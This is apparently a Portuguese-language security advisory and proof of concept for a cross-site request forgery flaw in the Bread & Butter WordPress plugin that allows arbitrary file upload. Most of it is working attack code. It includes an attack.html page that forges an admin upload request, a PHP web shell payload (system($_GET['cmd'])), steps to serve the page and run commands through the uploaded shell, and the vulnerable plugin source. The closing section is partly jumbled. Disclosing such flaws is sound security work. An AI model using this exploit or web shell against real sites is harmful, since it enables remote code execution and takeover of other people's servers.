
Bread & Butter: Bloqueie conteúdo + Capture leads + Colete dados de primeira parte + Nutra com agentes de IA <= 7.10.1321 - Cross-Site Request Forgery para Upload Arbitrário de Arquivos
O plugin Bread & Butter IO contém uma vulnerabilidade na sua funcionalidade de upload de imagens que permite que qualquer atacante engane administradores autenticados para que façam upload de arquivos arbitrários para o servidor, incluindo web shells PHP, resultando em Execução Remota de Código (RCE). A vulnerabilidade decorre da função uploadImage() não possuir proteção CSRF, permitindo que atacantes criem requisições maliciosas que os navegadores dos administradores executam automaticamente.
A vulnerabilidade existe na função uploadImage() em /bread-butter/src/Base/Ajax.php, que carece de validação adequada de arquivos e proteção CSRF, além de usar file_put_contents() para escrever arquivos diretamente no diretório de uploads do WordPress antes de qualquer verificação de segurança.
Aqui está o attack.html simples:
<!DOCTYPE html>
<html>
<body>
<button onclick="exploit()">CSRF Attack</button>
<script>
function exploit() {
const form = document.createElement('form');
form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php';
form.method = 'POST';
form.enctype = 'multipart/form-data';
form.target = '_blank';
form.style.display = 'none';
// Action field
const action = document.createElement('input');
action.name = 'action';
action.value = 'upload_image';
form.appendChild(action);
// File field
const file = document.createElement('input');
file.type = 'file';
file.name = 'file';
const blob = new Blob([`<?php system($_GET['cmd']); ?>`], { type: 'image/jpeg' });
const phpFile = new File([blob], 'test.php', { type: 'image/jpeg' });
const dt = new DataTransfer();
dt.items.add(phpFile);
file.files = dt.files;
form.appendChild(file);
document.body.appendChild(form);
form.submit();
}
</script>
</body>
</html>
Para um POC, você pode executá-lo localmente com algo como:
# Serve o exploit CSRF
python3 -m http.server 1337
# Visite: http://localhost:1337/attack.html
# Clique no botão "CSRF Attack"
# Verifique a nova aba para a resposta do WordPress
# Teste o shell enviado: https://TARGETSITE.COM/wp-content/uploads/[year]/[month]/test.php?cmd=whoami
Uma vez logado como administrador no navegador da vítima, clicar no link leva à RCE.
A vulnerabilidade existe na função uploadImage() na linha 411 de /bread-butter/src/Base/Ajax.php:
public function uploadImage() {
$this->checkAdmin();
$file = $_FILES['file'];
$type = $file['type'];
$name = $file['name'];
$image_url = $file['tmp_name'];
$upload_dir = wp_upload_dir();
$image_data = file_get_contents($image_url);
$filename = basename($name);
if (wp_mkdir_p($upload_dir['path'])) {
$file = $upload_dir['path'] . '/' . $filename;
} else {
$file = $upload_dir['basedir'] . '/' . $filename;
}
file_put_contents($file, $image_data); // O atacante faz o arquivo ser movido para armazenamento acessível!
// Pós-processamento do upload (após a vulnerabilidade ser explorada)
$wp_filetype = wp_check_filetype($filename, null);
// ... resto da função
}
A função vulnerável é registrada como um manipulador AJAX do WordPress na linha 95:
add_action('wp_ajax_' . self::$uploadImage, array($this, 'uploadImage'));
Onde self::$uploadImage é definido como upload_image na linha 37.
O único controle de segurança é o método checkAdmin() nas linhas 166-171:
public function checkAdmin() {
if (!current_user_can('manage_options')) {
echo 0;
wp_die();
}
}
A falta de proteção CSRF torna esta vulnerabilidade explorável por meio de ataques de Cross-Site Request Forgery. O POC attack.html demonstra isso ao:
target="_blank" para contornar as restrições de CORSattack.html)/wp-content/uploads/[year]/[month]/test.php?cmd=whoami/wp-admin/admin-ajax.php<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
} else {
echo "Shell ready. Use ?cmd=command";
}
?>
/wp-content/uploads/[year]/[month]/[filename].php